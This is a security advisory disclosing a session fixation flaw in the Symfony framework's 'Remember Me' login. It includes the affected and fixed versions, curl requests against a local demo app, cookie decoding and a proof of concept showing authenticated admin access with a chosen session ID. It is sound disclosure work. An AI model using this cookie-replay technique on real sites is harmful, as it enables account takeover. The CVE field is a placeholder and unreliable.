Advisory: Symfony PHP Framework: Session Fixation In "Remember Me" Login Functionality A session fixation vulnerability within the Symfony web application framework's "Remember Me" login functionality allows an attacker to impersonate the victim towards the web application if the session ID value was previously known to the attacker. Details ======= Product: Symfony Affected Versions: 2.3.0 to 2.3.34, 2.6.0 - 2.6.11, 2.7.0 - 2.7.6 Fixed Versions: 2.3.35, 2.6.12, and 2.7.7 [2] Vulnerability Type: Session Fixation Security Risk: low Vendor URL: https://symfony.com/ Vendor Status: fixed version released [2] Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-013 Advisory Status: published CVE: GENERIC-MAP-NOMATCH CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH Introduction ============ "Symfony is a set of PHP Components, a Web Application framework, a Philosophy, and a Community — all working together in harmony." (from Symfony's homepage) More Details ============ The following details are explained using the official Symfony Demo application[0]. The "Remember Me" login functionality was activated according to [1]. The security configuration file was modified as follows: -- app/config/security.yml --------------------------------------------- security: [...] firewalls: secured_area: [...] remember_me: key: "IdOpAkToufatt8knawt{" lifetime: 604800 path: / always_remember_me: true ------------------------------------------------------------------------ If the following URL is requested, the Symfony application redirects to a login screen where a username and password must be supplied: $ curl -I 'http://localhost:8000/en/admin/post/' HTTP/1.1 302 Found Host: localhost:8000 [...] Set-Cookie: PHPSESSID=8a17gpfjtnfqfdhabthso92sk3; path=/ Location: http://localhost:8000/en/login On submission, an HTTP POST request is performed by the browser: POST /en/login_check HTTP/1.1 Host: localhost:8000 Referer: http://localhost:8000/en/login Cookie: PHPSESSID=8a17gpfjtnfqfdhabthso92sk3 [...] _username=anna_admin &_password=kitten &_csrf_token=h_s6ltxHB3gbGU--SIY6wLCUGf84bLmhs1_LGFEBsUI If the supplied credentials are correct, the Symfony application responds as follows: HTTP/1.1 302 Found Host: localhost:8000 Set-Cookie: PHPSESSID=vk2e3enjr0uafgonr0i3u2b4t5; path=/ Set-Cookie: REMEMBERME=QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZVjloWkcxcGJnP T06MTQ0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1NGU5Y 2IwOWY0OWY3MTFhODNhMjUxNmU0OWE4Njg2MTVmNWRk; expires=Thu, 29-Oct-2015 12:27:14 GMT; Max-Age=604800; Location: http://localhost:8000/en/admin/post/ [...] The cookie PHPSESSID is set to a new value and a new cookie named REMEMBERME is set in the client. The PHPSESSID is a session cookie only and has a limited lifetime. In contrast, the REMEMBERME cookie has a validity of one week. It allows users to stay logged in for longer than the regular session lasts. The REMEMBERME cookie's value consists of four data fields separated by colons and is encoded in base64. The first data field references the application's user object, followed by the base64-encoded username. The third data field is a timestamp of the cookie's expiration date. The last one is a MAC value to protect the other three against manipulation. $ base64 -d <<< QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZVjloWkcxcGJnPT06MTQ\ 0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1NGU5Y2IwOWY0OWY3MTFhOD\ NhMjUxNmU0OWE4Njg2MTVmNWRk AppBundle\Entity\User:YW5uYV9hZG1pbg==:1446121634:f09138bc[...]68615f5dd $ base64 -d <<< YW5uYV9hZG1pbg== anna_admin $ date -d @1446121634 Thu Oct 29 13:27:14 CET 2015 Proof of Concept ================ If the following URL is requested with an unauthorised session ID, the Symfony application redirects to the login page (as already shown above): $ curl -I 'http://localhost:8000/en/admin/post/' -b 'PHPSESSID=redteam' HTTP/1.1 302 Found Host: localhost:8000 Location: http://localhost:8000/en/login [...] In the case that a valid REMEMBERME cookie is included in the HTTP request, the user is successfully authenticated: $ curl -s -i 'http://localhost:8000/en/admin/post/' \ -b 'PHPSESSID=redteam; REMEMBERME=QXBwQnVuZGxlXEVudGl0eVxVc2VyOllXNXVZ'\ 'VjloWkcxcGJnPT06MTQ0NjEyMTYzNDpmMDkxMzhiYzkzYjVmYTk1MTNlYWMyYzY2OTQ1N'\ 'GU5Y2IwOWY0OWY3MTFhODNhMjUxNmU0OWE4Njg2MTVmNWRk' HTTP/1.1 200 OK Host: localhost:8000 [...] [...]